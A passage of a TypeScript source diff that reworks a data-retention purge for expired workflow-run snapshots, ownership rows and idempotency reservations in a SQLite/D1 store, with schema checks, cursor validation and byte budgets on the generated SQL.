- * The resource-ownership registry's table, named here rather than imported from
- * the store that creates it (approval-api/resource-ownership.ts).
- *
- * The layering forbids the import: do-runner may reach approval-api only
- * through its declared leaves, and the ownership store is not one — it is built
- * ON do-runner. So this file has always carried the name as a literal inside
- * RUN_TTL_FLOWSAFE_PURGE_TABLES; giving it a name adds no second home, it names
- * the one that was already here, and lets the drain inventory read the registry
- * without a third copy. The census test crosses it against
- * RESOURCE_OWNERSHIP_TABLE, which is the only place the two can be compared.
- */
-export const RESOURCE_OWNER_TABLE = 'flowsafe_resource_owners';
-
-/**
- * The FLOWSAFE-owned tables this purge also deletes from when the caller wires
- * them, and the reason they are not in the list above.
- *
- * `RUN_TTL_PURGE_TABLES` is cross-checked against the `mastra_%` inventory in
- * mastra-schema-guard.test.ts — its job is to catch a @mastra/core bump that
- * changes what run retention targets. These two are ours, they are optional
- * (a lower-level caller without the registries omits both), and they are
- * deleted on a DIFFERENT predicate: `flowsafe_resource_owners` when its run's
- * last snapshot is gone, `flowsafe_start_idempotency` when its reservation is
- * settled AND past the key-validity horizon. Folding them into the Mastra
- * anchor would make that guard assert an equality it cannot mean.
- */
 export const RUN_TTL_FLOWSAFE_PURGE_TABLES: readonly string[] = [
   RESOURCE_OWNER_TABLE,
   START_IDEMPOTENCY_TABLE,
 ];
 
-/**
- * Data-retention purge: deletes TERMINAL runs (success/failed/tripwire/
- * canceled/bailed/skipped and cleanup-complete cancelled/timed_out) whose
- * updatedAt is older than the TTL from
- * mastra_workflow_snapshot — and, when `artifactStore` is wired, each purged
- * run's R2 artifacts with its row, plus (when their tables are wired) the run's
- * ownership row and its spent start reservation, each in the SAME transaction
- * as the snapshot delete. Live runs (running/suspended/waiting/
- * pending/paused) are never touched — expiring a suspended run would kill a
- * pending approval. A missing snapshot table reads as zero purgeable runs
- * (Mastra creates it lazily with the first persisted run). TTL enforcement
- * is a storage-layer property, so it lives here; alarm scheduling stays with
- * the caller. Returns the number of deleted rows.
- */
-export async function purgeExpiredWorkflowRuns(
-  db: SnapshotDatabase,
-  options: PurgeExpiredRunsOptions,
-): Promise<number> {
-  const prefix = validateTablePrefix(options.tablePrefix) ?? '';
-  const now = options.now ?? Date.now;
-  // @mastra/cloudflare-d1 stores updatedAt as ISO-8601 TEXT
-  // (persistWorkflowSnapshot serializes via toISOString), so lexicographic
-  // < against an ISO cutoff is a correct timestamp comparison.
-  const cutoff = new Date(now() - options.ttlMs).toISOString();
-  // json_extract throws on malformed JSON and would abort the WHOLE delete —
-  // one corrupt row must not stop every valid terminal row from being
-  // reclaimed. The CASE guard (not `AND json_valid(...)`) is load-bearing:
-  // SQLite does not guarantee AND short-circuit order in a WHERE, so a bare
-  // conjunct could still evaluate the extract on the bad row. Unclassifiable
-  // rows yield NULL and survive (fail safe: never delete what can't be
-  // proven terminal).
-  const eligible = `updatedAt < ?
-         AND CASE WHEN json_valid(snapshot) THEN
-           (
-             ${RUN_TERMINAL_SNAPSHOT_SQL}
-           )
-         ELSE 0 END`;
-  const resourceOwnerTable = options.resourceOwnerTable;
-  if (
-    resourceOwnerTable !== undefined &&
-    !/^[A-Za-z_][A-Za-z0-9_]*$/.test(resourceOwnerTable)
-  ) {
-    throw new Error('resourceOwnerTable must be a safe SQL identifier');
+const RETENTION_SQL_BYTES = 90_000;
+const RETENTION_SELECTOR_BYTES = 1_000_000;
+const RETENTION_FRAGMENT_BYTES = 4096;
+const RETENTION_NAMESPACES = 64;
+const RETENTION_PAGE = 90;
+const RETENTION_SUFFIX = 'mastra_workflow_snapshot';
+const RETENTION_PATH = '$.requestContext."flowsafe.runProvenance"';
+const RETENTION_OWNED_KEYS = [
+  'version',
+  'startToken',
+  'startIdentity',
+  'agentStart',
+] as const;
+const retentionEncoder = new TextEncoder();
+
+type RetentionDatabase = SnapshotDatabase &
+  Required<Pick<SnapshotDatabase, 'batch'>>;
+type RetentionOwned = readonly (string | null)[];
+type RetentionStartTuple = readonly [
+  string,
+  string,
+  string,
+  string,
+  string,
+  string,
+  string | null,
+];
+type RetentionSelector = readonly [
+  string,
+  string,
+  RetentionOwned,
+  RetentionStartTuple | null,
+];
+interface RetentionSchema {
+  names: string[];
+  table?: string;
+  stage?: StartReservationSchemaStage;
+  bindings: [string, string | null, string | null];
+}
+interface RetentionStatement {
+  sql: string;
+  values: unknown[];
+}
+interface RetentionPage {
+  rows: Record<string, unknown>[];
+  position?: RunRetentionScanPosition;
+}
+interface RetentionOrphan {
+  raw: Record<string, unknown>;
+  namespace?: string;
+  observation: 'legacy' | 'missing' | 'absent' | RetentionOwned;
+}
+
+function retentionRegistry(value: unknown): string | undefined {
+  if (value === undefined) return undefined;
+  if (typeof value !== 'string' || !/^[A-Za-z_][A-Za-z0-9_]*$/.test(value))
+    throw new Error('retention registry must be a safe SQL identifier');
+  if (value.length >= RETENTION_SQL_BYTES)
+    throw new Error('retention registry exceeds SQL byte budget');
+  return value.toLowerCase();
+}
+
+function retentionRecord(
+  value: unknown,
+  keys: readonly string[],
+): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value))
+    throw new Error('run retention cursor is malformed');
+  const captured: Record<string, unknown> = {};
+  for (const key of Reflect.ownKeys(value)) {
+    if (typeof key !== 'string' || !keys.includes(key))
+      throw new Error('run retention cursor is malformed');
+    const descriptor = Object.getOwnPropertyDescriptor(value, key);
+    if (!descriptor || !('value' in descriptor))
+      throw new Error('run retention cursor is malformed');
+    captured[key] = descriptor.value;
   }
-  const startIdempotencyTable = options.startIdempotencyTable;
+  return captured;
+}
+
+/** @internal */
+export function parseRunRetentionCursor(
+  value: unknown,
+): RunRetentionCursor | undefined {
+  if (value === undefined) return undefined;
+  const {
+    version,
+    tablePrefix,
+    startIdempotencyTable,
+    snapshots,
+    reservations,
+  } = retentionRecord(value, [
+    'version',
+    'tablePrefix',
+    'startIdempotencyTable',
+    'snapshots',
+    'reservations',
+  ]);
+  if (version !== 1 || typeof tablePrefix !== 'string')
+    throw new Error('run retention cursor is malformed');
+  const prefix = validateTablePrefix(tablePrefix)?.toLowerCase() ?? '';
+  const table = retentionRegistry(startIdempotencyTable);
+  const capturePosition = (
+    position: unknown,
+  ): RunRetentionScanPosition | undefined => {
+    if (position === undefined) return undefined;
+    const { afterRowId, highWaterRowId } = retentionRecord(position, [
+      'afterRowId',
+      'highWaterRowId',
+    ]);
+    if (
+      typeof afterRowId !== 'number' ||
+      !Number.isSafeInteger(afterRowId) ||
+      typeof highWaterRowId !== 'number' ||
+      !Number.isSafeInteger(highWaterRowId) ||
+      afterRowId > highWaterRowId
+    )
+      throw new Error('run retention position is malformed');
+    return Object.freeze({ afterRowId, highWaterRowId });
+  };
+  const snapshotPosition = capturePosition(snapshots);
+  const reservationPosition = capturePosition(reservations);
+  if (reservationPosition && table === undefined)
+    throw new Error('reservation cursor requires a registry');
+  return Object.freeze({
+    version: 1,
+    tablePrefix: prefix,
+    ...(table === undefined ? {} : { startIdempotencyTable: table }),
+    ...(snapshotPosition === undefined ? {} : { snapshots: snapshotPosition }),
+    ...(reservationPosition === undefined
+      ? {}
+      : { reservations: reservationPosition }),
+  });
+}
+
+function retentionStatement(
+  sql: string,
+  values: unknown[],
+): RetentionStatement {
   if (
-    startIdempotencyTable !== undefined &&
-    !/^[A-Za-z_][A-Za-z0-9_]*$/.test(startIdempotencyTable)
-  ) {
-    throw new Error('startIdempotencyTable must be a safe SQL identifier');
+    retentionEncoder.encode(sql).length > RETENTION_SQL_BYTES ||
+    values.length > 100
+  )
+    throw new Error('run retention statement exceeds SQL or binding budget');
+  return { sql, values };
+}
+
+function retentionSelectorJson(values: readonly unknown[]): string {
+  const json = JSON.stringify(values);
+  if (retentionEncoder.encode(json).length > RETENTION_SELECTOR_BYTES)
+    throw new Error('run retention selector exceeds byte budget');
+  return json;
+}
+
+function prepareRetentionStatement(
+  db: SnapshotDatabase,
+  statement: RetentionStatement,
+): SnapshotStatement {
+  return db.prepare(statement.sql).bind(...statement.values);
+}
+
+async function observeRunRetentionSchema(
+  db: SnapshotDatabase,
+  table: string | undefined,
+): Promise<RetentionSchema> {
+  const names = snapshotResultRows(
+    await db
+      .prepare(`SELECT name, type FROM sqlite_schema
+    WHERE type IN ('table', 'view') AND lower(name) GLOB '*${RETENTION_SUFFIX}'
+    ORDER BY lower(name) LIMIT ${RETENTION_NAMESPACES + 1}`)
+      .all(),
+  );
+  if (names.length > RETENTION_NAMESPACES)
+    throw new Error('run retention namespace overflow');
+  const canonical: string[] = [];
+  for (const row of names) {
+    if (
+      row.type !== 'table' ||
+      typeof row.name !== 'string' ||
+      !row.name.toLowerCase().endsWith(RETENTION_SUFFIX)
+    )
+      throw new Error('run retention namespace is not a supported table');
+    validateTablePrefix(row.name.slice(0, -RETENTION_SUFFIX.length));
+    const name = row.name.toLowerCase();
+    if (canonical.includes(name))
+      throw new Error('run retention duplicate namespace');
+    canonical.push(name);
   }
-  // Floored at the run TTL, never below it — see startIdempotencyTtlMs. A
-  // reservation deleted while its run is still readable would let the next
-  // retry of that key start a SECOND run beside the live one.
-  const reservationCutoff =
-    now() -
-    Math.max(options.startIdempotencyTtlMs ?? options.ttlMs, options.ttlMs);
-  const batch =
-    resourceOwnerTable || startIdempotencyTable
-      ? db.batch?.bind(db)
-      : undefined;
-  if ((resourceOwnerTable || startIdempotencyTable) && !batch) {
-    throw new Error(
-      'purgeExpiredWorkflowRuns requires database.batch() for atomic owner cleanup',
+  let stage: StartReservationSchemaStage | undefined;
+  let metadata: unknown[][] | null = null;
+  if (table !== undefined) {
+    const rows = snapshotResultRows(
+      await prepareRetentionStatement(
+        db,
+        retentionStatement(
+          `SELECT s.type AS schema_type,
+      p.cid, p.name, p.type, p."notnull", p.dflt_value, p.pk, p.hidden
+      FROM sqlite_schema s LEFT JOIN pragma_table_xinfo(?1) p ON 1
+      WHERE lower(s.name)=?1 AND s.type IN ('table','view') ORDER BY p.cid LIMIT 14`,
+          [table],
+        ),
+      ).all(),
     );
+    if (rows.length > 0) {
+      if (
+        rows.some(
+          (row, index) => row.schema_type !== 'table' || row.cid !== index,
+        )
+      )
+        throw new Error('run retention reservation schema is unsupported');
+      stage = reservationSchemaStage({ results: rows });
+      if (stage === undefined)
+        throw new Error('run retention reservation schema is empty');
+      metadata = rows.map((row) => [
+        row.cid,
+        row.name,
+        row.type,
+        row.notnull,
+        row.dflt_value,
+        row.pk,
+        row.hidden,
+      ]);
+    }
   }
-  /**
-   * The two reservation statements that ride a snapshot delete, in order.
-   *
-   * They run INSIDE the same `batch()` as the snapshot's own DELETE and AFTER
-   * it, which is what makes the pairing atomic: by the time these execute, the
-   * runs named here have no snapshot in this transaction, so neither statement
-   * can act on a reservation whose run is still readable.
-   *
-   *  1. DELETE the reservations already past the horizon. This is the pairing
-   *     the design asks for: a spent key and the run it named leave together.
-   *  2. MARK the rest terminal. A reservation still inside its horizon must
-   *     survive — that is what makes a late retry ALREADY_SETTLED rather than a
-   *     fresh start — but its run is gone, so it is settled by definition. This
-   *     also HEALS the reconcile a crash between a run's terminal persist and
-   *     `settleRun` would have lost, and re-stamps `updated_at` so the horizon
-   *     is measured from a point at which the reservation is definitely spent.
-   *
-   *     `state <> 'terminal'` also settles `reserved` rows, not just `started`
-   *     ones. The ordinary lifecycle should not produce one here — a run only
-   *     persists a snapshot after its claim, so a row this statement can see is
-   *     normally `started` — and the point is that this statement does not
-   *     depend on that. It is selected by RUN, and every run it names has just
-   *     lost its snapshot in this same transaction, so whatever left the row
-   *     un-claimed (a released claim, a hand-edited row, a caller yet to be
-   *     written), the run it names is gone and the key cannot be worth starting
-   *     again. Settling too eagerly costs a retry a refusal it can resolve with
-   *     a fresh key; leaving a row readable as `reserved` after its run is
-   *     unreadable costs a second run of work that already completed.
-   */
-  /**
-   * Whether the reservation table has been seen to exist this pass.
-   *
-   * It is created lazily by the first `reserve()`, so a deployment on which no
-   * idempotency key has ever been used has none — and a batch naming a missing
-   * table fails as ONE TRANSACTION, taking the snapshot delete down with it.
-   * That would turn "this host wired reservations and nobody has used one yet"
-   * into "run retention is silently unenforced", so the first such failure
-   * retries the batch WITHOUT the reservation statements and the pass carries
-   * on with the pairing disabled. Nothing is lost: a table that does not exist
-   * holds no reservation to reap.
-   */
-  let reservationsUnavailable = false;
-  const reservationStatements = (
-    runIds: readonly string[],
-  ): SnapshotStatement[] => {
-    if (
-      !startIdempotencyTable ||
-      reservationsUnavailable ||
-      runIds.length === 0
-    ) {
-      return [];
+  return {
+    names: canonical,
+    table,
+    stage,
+    bindings: [
+      JSON.stringify(canonical),
+      table ?? null,
+      metadata === null ? null : JSON.stringify(metadata),
+    ],
+  };
+}
+
+const RETENTION_SCHEMA_SQL = `WITH expected_names(name) AS (SELECT value FROM json_each(?1)),
+current_names(name,type) AS (
+ SELECT lower(name),type FROM sqlite_schema WHERE type IN ('table','view')
+ AND lower(name) GLOB '*${RETENTION_SUFFIX}' LIMIT ${RETENTION_NAMESPACES + 1}
+), ecols(cid,name,type,nn,dflt,pk,hidden) AS (
+ SELECT json_extract(value,'$[0]'),json_extract(value,'$[1]'),json_extract(value,'$[2]'),
+ json_extract(value,'$[3]'),json_extract(value,'$[4]'),json_extract(value,'$[5]'),json_extract(value,'$[6]') FROM json_each(?3)
+), ccols(cid,name,type,nn,dflt,pk,hidden) AS (
+ SELECT cid,name,type,"notnull",dflt_value,pk,hidden FROM pragma_table_xinfo(?2) ORDER BY cid LIMIT 14
+), schema_ok(ok) AS (SELECT
+ (SELECT count(*) FROM current_names)=(SELECT count(*) FROM expected_names)
+ AND NOT EXISTS (SELECT name FROM current_names EXCEPT SELECT name FROM expected_names)
+ AND NOT EXISTS (SELECT 1 FROM current_names WHERE type COLLATE BINARY <> 'table')
+ AND CASE WHEN ?2 IS NULL THEN 1 WHEN ?3 IS NULL THEN NOT EXISTS (
+ SELECT 1 FROM sqlite_schema WHERE lower(name)=?2 AND type IN ('table','view'))
+ ELSE EXISTS (SELECT 1 FROM sqlite_schema WHERE lower(name)=?2 AND type='table')
+ AND (SELECT count(*) FROM ccols)=(SELECT count(*) FROM ecols)
+ AND NOT EXISTS (SELECT * FROM ccols EXCEPT SELECT * FROM ecols) END)`;
+
+function retentionPathGuard(): string {
+  return `json_type(s.snapshot,'$')='object'
+    AND (SELECT count(*) FROM json_each(s.snapshot) WHERE key COLLATE BINARY='requestContext') <= 1
+    AND (json_type(s.snapshot,'$.requestContext') IS NULL OR json_type(s.snapshot,'$.requestContext')='object')
+    AND (SELECT count(*) FROM json_each(s.snapshot,'$.requestContext') WHERE key COLLATE BINARY='flowsafe.runProvenance') <= 1
+    AND NOT EXISTS (SELECT key FROM json_each(s.snapshot,'${RETENTION_PATH}')
+      WHERE key COLLATE BINARY IN ('version','startToken','startIdentity','agentStart') GROUP BY key COLLATE BINARY HAVING count(*) > 1)`;
+}
+
+function retentionOwnedExpressions(): string[] {
+  return RETENTION_OWNED_KEYS.map(
+    (key) => `s.snapshot -> '${RETENTION_PATH}.${key}'`,
+  );
+}
+
+function retentionOwnedProjection(): string {
+  const expressions = retentionOwnedExpressions();
+  const size = expressions
+    .map((expression) => `COALESCE(length(CAST((${expression}) AS BLOB)),0)`)
+    .join('+');
+  const bounded = `CASE WHEN json_valid(s.snapshot) THEN (${size})<=${RETENTION_FRAGMENT_BYTES} ELSE 0 END`;
+  return `CASE WHEN json_valid(s.snapshot) THEN ${retentionPathGuard()} ELSE 0 END AS path_ok,
+    CASE WHEN json_valid(s.snapshot) THEN json_type(s.snapshot,'${RETENTION_PATH}') END AS provenance_type,
+    ${bounded} AS owned_ok,
+    ${expressions.map((expression, index) => `CASE WHEN ${bounded} THEN ${expression} END AS owned_${index}`).join(',')}`;
+}
+
+function retentionOwnedEquality(path: string): string {
+  return `CASE WHEN json_valid(s.snapshot) THEN json_type(s.snapshot,'${RETENTION_PATH}')='object'
+    AND ${retentionPathGuard()} AND ${retentionOwnedExpressions()
+      .map(
+        (expression, index) =>
+          `(${expression}) COLLATE BINARY IS json_extract(c.value,'${path}[${index}]')`,
+      )
+      .join(' AND ')} ELSE 0 END`;
+}
+
+function decodeRunRetentionCandidate(
+  row: Record<string, unknown>,
+  prefix: string,
+): RetentionSelector | 'legacy' | undefined {
+  for (const key of [
+    'workflow_name',
+    'run_id',
+    'path_ok',
+    'owned_ok',
+    'provenance_type',
+    ...RETENTION_OWNED_KEYS.map((_, index) => `owned_${index}`),
+  ]) {
+    if (!Object.hasOwn(row, key))
+      throw new Error('run retention capsule projection is incomplete');
+  }
+  if (
+    ![0, 1, null].includes(row.path_ok as number | null) ||
+    ![0, 1].includes(row.owned_ok as number) ||
+    ![
+      null,
+      'object',
+      'array',
+      'text',
+      'integer',
+      'real',
+      'true',
+      'false',
+      'null',
+    ].includes(row.provenance_type as string | null)
+  )
+    throw new Error('run retention capsule projection is malformed');
+  const owned = RETENTION_OWNED_KEYS.map((_, index) => row[`owned_${index}`]);
+  if (owned.some((value) => value !== null && typeof value !== 'string'))
+    throw new Error('run retention capsule projection is malformed');
+  let fragments: unknown[];
+  try {
+    fragments = owned.map((value) =>
+      typeof value === 'string' ? JSON.parse(value) : undefined,
+    );
+  } catch {
+    throw new Error('run retention capsule projection is malformed');
+  }
+  if (
+    !isPathSafeId(row.workflow_name) ||
+    !isPathSafeId(row.run_id) ||
+    row.path_ok !== 1 ||
+    row.owned_ok !== 1
+  )
+    return undefined;
+  try {
+    let value: Record<string, unknown> | undefined;
+    if (row.provenance_type !== null) {
+      if (row.provenance_type !== 'object') return undefined;
+      const object: Record<string, unknown> = {};
+      RETENTION_OWNED_KEYS.forEach((key, index) => {
+        if (typeof owned[index] === 'string') object[key] = fragments[index];
+      });
+      value = object;
     }
-    const placeholders = runIds.map(() => '?').join(', ');
+    const decoded = decodeRunStartIdentity(value);
+    if (decoded === undefined) return 'legacy';
+    const execution = normalizeD1RunExecutionIdentity(
+      runExecutionIdentityFor(
+        {
+          tablePrefix: prefix,
+          workflowId: row.workflow_name,
+          runId: row.run_id,
+        },
+        decoded,
+      ),
+    );
+    const start =
+      decoded.startIdentity === undefined
+        ? undefined
+        : normalizeStartExecutionIdentity({
+            ...execution,
+            ...decoded.startIdentity,
+          });
     return [
-      db
-        .prepare(
-          `DELETE FROM ${startIdempotencyTable}
-           WHERE run_id IN (${placeholders})
-             AND state = 'terminal' AND updated_at < ?`,
-        )
-        .bind(...runIds, reservationCutoff),
-      db
-        .prepare(
-          `UPDATE ${startIdempotencyTable}
-             SET state = 'terminal', updated_at = ?
-           WHERE run_id IN (${placeholders}) AND state <> 'terminal'`,
-        )
-        .bind(now(), ...runIds),
+      execution.workflowId,
+      execution.runId,
+      owned as RetentionOwned,
+      start === undefined
+        ? null
+        : [
+            prefix,
+            start.startToken,
+            start.owner.kind,
+            start.owner.id,
+            start.target.kind,
+            start.target.id,
+            start.target.kind === 'agent' ? start.target.threadId : null,
+          ],
     ];
+  } catch {
+    return undefined;
+  }
+}
+
+function retentionTerminalSql(first: number): string {
+  let binding = first;
+  return RUN_TERMINAL_SNAPSHOT_SQL.replace(/\bsnapshot\b/g, 's.snapshot')
+    .replace(/\?/g, () => `?${binding++}`)
+    .replace(
+      /json_extract\(s.snapshot, '\$\.status'\)/g,
+      "json_extract(s.snapshot, '$.status') COLLATE BINARY",
+    );
+}
+
+function retentionPageStatement(
+  table: string,
+  position: RunRetentionScanPosition | undefined,
+  limit: number,
+  projection: string,
+  extra: unknown[] = [],
+): RetentionStatement {
+  return retentionStatement(
+    `WITH bounds(h) AS MATERIALIZED (SELECT COALESCE(?1,(SELECT MAX(rowid) FROM "${table}"))),
+    page AS (SELECT rowid AS rid FROM "${table}",bounds WHERE rowid <= h ${position ? 'AND rowid > ?2' : ''} ORDER BY rowid LIMIT ?3)
+    SELECT b.h,p.rid,${projection} FROM bounds b LEFT JOIN page p ON 1
+    LEFT JOIN "${table}" s ON s.rowid=p.rid ORDER BY p.rid`,
+    [
+      position?.highWaterRowId ?? null,
+      position?.afterRowId ?? null,
+      limit,
+      ...extra,
+    ],
+  );
+}
+
+function decodeRetentionPage(
+  result: unknown,
+  position: RunRetentionScanPosition | undefined,
+  limit: number,
+): RetentionPage {
+  const rows = snapshotResultRows(result);
+  if (rows.length === 0 || rows.length > limit)
+    throw new Error('run retention page is malformed');
+  const highWater = rows[0]?.h;
+  if (
+    highWater !== null &&
+    (typeof highWater !== 'number' || !Number.isSafeInteger(highWater))
+  )
+    throw new Error('run retention high water is malformed');
+  if (position && highWater !== position.highWaterRowId)
+    throw new Error('run retention high water changed');
+  let previous = position?.afterRowId;
+  for (const row of rows) {
+    if (row.h !== highWater)
+      throw new Error('run retention high water disagrees');
+    if (row.rid === null && rows.length === 1) return { rows: [] };
+    if (
+      typeof row.rid !== 'number' ||
+      !Number.isSafeInteger(row.rid) ||
+      typeof highWater !== 'number' ||
+      row.rid > highWater ||
+      (previous !== undefined && row.rid <= previous)
+    )
+      throw new Error('run retention row position is malformed');
+    previous = row.rid;
+  }
+  if (previous === undefined || typeof highWater !== 'number')
+    throw new Error('run retention page is malformed');
+  return {
+    rows,
+    ...(rows.length < limit || previous === highWater
+      ? {}
+      : {
+          position: Object.freeze({
+            afterRowId: previous,
+            highWaterRowId: highWater,
+          }),
+        }),
   };
-  /**
-   * Reap the reservations that OUTLIVED their snapshot.
-   *
-   * The paired statements above only ever see runs whose snapshot is expiring
-   * in THIS pass, and a reservation is meant to survive that moment — the whole
-   * point of a horizon longer than run retention is that a late retry still
-   * finds ALREADY_SETTLED after the summary is gone. Which means the pairing
-   * alone can never delete those rows: by the time they are old enough, their
-   * snapshot has been gone for passes and nothing re-visits them. This sweep is
-   * what keeps the table finite, and without it the reservation table would be
-   * the one piece of this deployment's state that only ever grows.
-   *
-   * `NOT EXISTS (snapshot)` is not an optimization — it is the safety predicate
-   * that makes this sweep structurally unable to delete a reservation whose run
-   * is still readable, whatever a caller configured the horizon to be. The
-   * LIMIT rides a rowid subselect for the same reason every other purge here
-   * does: plain `DELETE ... LIMIT` needs a SQLite compile-time option D1 does
-   * not guarantee.
-   */
-  /**
-   * Run a snapshot-delete batch, retrying once without the reservation
-   * statements if the reservation table turns out not to exist yet.
-   *
-   * `build(withReservations)` rather than a prepared array, because D1
-   * statements are single-use once run: a retry has to re-prepare.
-   */
-  const runPurgeBatch = async (
-    build: (withReservations: boolean) => SnapshotStatement[],
-  ): Promise<unknown[]> => {
-    if (!batch) throw new Error('purgeExpiredWorkflowRuns: batch unavailable');
-    try {
-      return await batch(build(true));
-    } catch (error) {
+}
+
+function retentionMembership(
+  names: readonly string[],
+  selector: string,
+): string {
+  if (names.length === 0) return 'SELECT NULL AS run_id WHERE 0';
+  const compoundLimit = 5;
+  const grouped = names.length > compoundLimit;
+  const definitions = grouped
+    ? [`retention_ids(run_id) AS MATERIALIZED (${selector})`]
+    : [];
+  let selects = names.map(
+    (name) =>
+      `SELECT DISTINCT run_id COLLATE BINARY AS run_id FROM "${name}" WHERE run_id COLLATE BINARY IN (${grouped ? 'SELECT run_id FROM retention_ids' : selector})`,
+  );
+  // Materialized groups prevent flattening beyond workerd's compound limit.
+  while (selects.length > compoundLimit) {
+    const next: string[] = [];
+    for (let index = 0; index < selects.length; index += compoundLimit) {
+      const name = `retention_members_${definitions.length}`;
+      definitions.push(
+        `${name}(run_id) AS MATERIALIZED (${selects.slice(index, index + compoundLimit).join(' UNION ALL ')})`,
+      );
+      next.push(`SELECT run_id FROM ${name}`);
+    }
+    selects = next;
+  }
+  return `${definitions.length > 0 ? `WITH ${definitions.join(', ')} ` : ''}${selects.join(' UNION ALL ')}`;
+}
+
+function retentionSnapshotGroup(
+  schema: RetentionSchema,
+  table: string,
+  owner: string | undefined,
+  selectors: readonly RetentionSelector[],
+  raw: RawWorkflowSnapshot | undefined,
+  cutoff: string,
+  keyCutoff: number,
+  now: number,
+): RetentionStatement[] {
+  const result = [
+    retentionStatement(
+      `${RETENTION_SCHEMA_SQL} SELECT ok AS schema_ok FROM schema_ok`,
+      [...schema.bindings],
+    ),
+  ];
+  const json = retentionSelectorJson(selectors);
+  if (schema.names.includes(table)) {
+    result.push(
+      raw
+        ? retentionStatement(
+            `${RETENTION_SCHEMA_SQL} DELETE FROM "${table}" AS s WHERE (SELECT ok FROM schema_ok)=1
+      AND s.workflow_name COLLATE BINARY=?4 AND s.run_id COLLATE BINARY=?5 AND s.snapshot COLLATE BINARY=?6
+      AND s.createdAt COLLATE BINARY IS ?7 AND s.updatedAt COLLATE BINARY IS ?8 AND s.resourceId COLLATE BINARY IS ?9
+      AND s.updatedAt COLLATE BINARY < ?10 AND CASE WHEN json_valid(s.snapshot) THEN (${retentionTerminalSql(11)}) AND ${retentionPathGuard()} ELSE 0 END`,
+            [
+              ...schema.bindings,
+              raw.workflowId,
+              raw.runId,
+              raw.snapshot,
+              raw.createdAt,
+              raw.updatedAt,
+              raw.resourceId,
+              cutoff,
+              ...RUN_TERMINAL_STATUSES,
+            ],
+          )
+        : retentionStatement(
+            `${RETENTION_SCHEMA_SQL} DELETE FROM "${table}" AS s WHERE (SELECT ok FROM schema_ok)=1
+      AND s.updatedAt COLLATE BINARY < ?5 AND CASE WHEN json_valid(s.snapshot) THEN (${retentionTerminalSql(6)}) ELSE 0 END
+      AND EXISTS (SELECT 1 FROM json_each(?4) c WHERE s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0]')
+      AND s.run_id COLLATE BINARY=json_extract(c.value,'$[1]') AND ${retentionOwnedEquality('$[2]')})`,
+            [...schema.bindings, json, cutoff, ...RUN_TERMINAL_STATUSES],
+          ),
+    );
+  }
+  if (owner !== undefined) {
+    const candidates = "SELECT json_extract(value,'$[1]') FROM json_each(?4)";
+    result.push(
+      retentionStatement(
+        `${RETENTION_SCHEMA_SQL}, present(run_id) AS (${retentionMembership(schema.names, candidates)})
+      DELETE FROM "${owner}" WHERE (SELECT ok FROM schema_ok)=1 AND resource_kind COLLATE BINARY='run' AND reservation_token IS NULL
+      AND resource_id COLLATE BINARY IN (${candidates}) AND NOT EXISTS (SELECT 1 FROM present WHERE present.run_id COLLATE BINARY=resource_id COLLATE BINARY)`,
+        [...schema.bindings, json],
+      ),
+    );
+  }
+  if (!raw && schema.stage === 3 && schema.table !== undefined) {
+    const absence = schema.names.includes(table)
+      ? `NOT EXISTS (SELECT 1 FROM "${table}" s WHERE s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0]') AND s.run_id COLLATE BINARY=json_extract(c.value,'$[1]'))`
+      : '1';
+    const fields = [
+      'start_table_prefix',
+      'start_token',
+      'owner_kind',
+      'owner_id',
+      'target_kind',
+      'target_id',
+      'thread_id',
+    ];
+    const pair = `EXISTS (SELECT 1 FROM json_each(?4) c WHERE json_type(c.value,'$[3]')='array' AND
+      ${fields.map((field, index) => `r.${field} COLLATE BINARY IS json_extract(c.value,'$[3][${index}]')`).join(' AND ')}
+      AND r.start_workflow_id COLLATE BINARY=json_extract(c.value,'$[0]') AND r.run_id COLLATE BINARY=json_extract(c.value,'$[1]') AND ${absence})`;
+    result.push(
+      retentionStatement(
+        `${RETENTION_SCHEMA_SQL} DELETE FROM "${schema.table}" AS r WHERE (SELECT ok FROM schema_ok)=1
+      AND r.state COLLATE BINARY='terminal' AND ${retentionFiniteExpiry('r.updated_at', '?5')} AND ${pair}`,
+        [...schema.bindings, json, keyCutoff],
+      ),
+    );
+    result.push(
+      retentionStatement(
+        `${RETENTION_SCHEMA_SQL} UPDATE "${schema.table}" AS r SET state='terminal', updated_at=?5
+      WHERE (SELECT ok FROM schema_ok)=1 AND r.state COLLATE BINARY IN ('reserved','started') AND ${pair}`,
+        [...schema.bindings, json, now],
+      ),
+    );
+  }
+  return result;
+}
+
+function retentionFiniteExpiry(column: string, cutoff: string): string {
+  return `typeof(${column}) IN ('integer','real') AND ${column} BETWEEN -1.7976931348623157e308 AND 1.7976931348623157e308 AND ${column} < ${cutoff}`;
+}
+
+function retentionBatchResult(
+  value: unknown,
+  count: number,
+): { schemaOk: boolean; deleted: number } {
+  if (!Array.isArray(value) || value.length !== count)
+    throw new Error('run retention batch result is malformed');
+  let deleted = 0;
+  let schemaOk = false;
+  for (let index = 0; index < count; index += 1) {
+    if (!Object.hasOwn(value, index))
+      throw new Error('run retention batch result is sparse');
+    const result = value[index];
+    if (
+      result === null ||
+      typeof result !== 'object' ||
+      Array.isArray(result) ||
+      ('success' in result && result.success !== true)
+    )
+      throw new Error('run retention batch result failed');
+    if (index === 0) {
+      const rows = snapshotResultRows(result);
+      if (
+        rows.length !== 1 ||
+        (rows[0]?.schema_ok !== 0 && rows[0]?.schema_ok !== 1)
+      )
+        throw new Error('run retention schema result is malformed');
+      schemaOk = rows[0]?.schema_ok === 1;
+    } else {
+      const changes = result.meta?.changes;
       if (
-        startIdempotencyTable === undefined ||
-        reservationsUnavailable ||
-        !isMissingTable(error, startIdempotencyTable)
+        typeof changes !== 'number' ||
+        !Number.isSafeInteger(changes) ||
+        changes < 0 ||
+        (!schemaOk && changes !== 0)
+      )
+        throw new Error('run retention mutation result is uncertain');
+      if (index === 1) deleted = changes;
+    }
+  }
+  return { schemaOk, deleted };
+}
+
+function retentionReservationProjection(
+  stage: StartReservationSchemaStage,
+): string {
+  const columns = START_IDEMPOTENCY_COLUMNS.slice(0, 10 + stage).map(
+    ([name]) => name,
+  );
+  const scalars = columns
+    .map((name) => `typeof(s."${name}") IN ('null','text','integer','real')`)
+    .join(' AND ');
+  const size = columns
+    .map((name) => `COALESCE(length(CAST(s."${name}" AS BLOB)),0)`)
+    .join('+');
+  const json = `json_object(${columns.map((name) => `'${name}',s."${name}"`).join(',')})`;
